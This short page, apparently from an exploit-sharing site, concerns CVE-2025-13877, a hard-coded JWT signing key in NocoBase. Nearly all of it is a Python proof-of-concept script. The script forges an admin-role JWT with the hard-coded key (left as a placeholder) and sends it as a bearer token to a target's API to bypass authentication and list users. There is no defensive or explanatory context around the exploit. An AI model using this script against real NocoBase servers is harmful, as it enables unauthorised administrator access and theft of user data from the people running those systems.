CVE-2025-13877 NocoBase JWT Service 硬编码加密密钥漏洞

import jwt import requests # Hard-coded API_KEY from jwt-service.ts (example key) API_KEY = "your_hardcoded_key_here" # Target URL TARGET_URL = "http://target-server/api/" # JWT Token Generation using hard-coded key def generate_fake_jwt(payload): """ Generate a JWT token using the hard-coded cryptographic key """ token = jwt.encode(payload, API_KEY, algorithm="HS256") return token # Exploit: Bypass authentication def exploit(target_path): """ Exploit CVE-2025-13877 by forging JWT token """ # Craft payload with elevated privileges payload = { "sub": "admin", "role": "admin", "iat": 1733000000, "exp": 1733086400 } # Generate fake token fake_token = generate_fake_jwt(payload) # Send request with forged token headers = { "Authorization": f"Bearer {fake_token}", "Content-Type": "application/json" } response = requests.get(TARGET_URL + target_path, headers=headers) return response if __name__ == "__main__": # Example: Access admin endpoint result = exploit("users:list") print(f"Status: {result.status_code}") print(f"Response: {result.text}")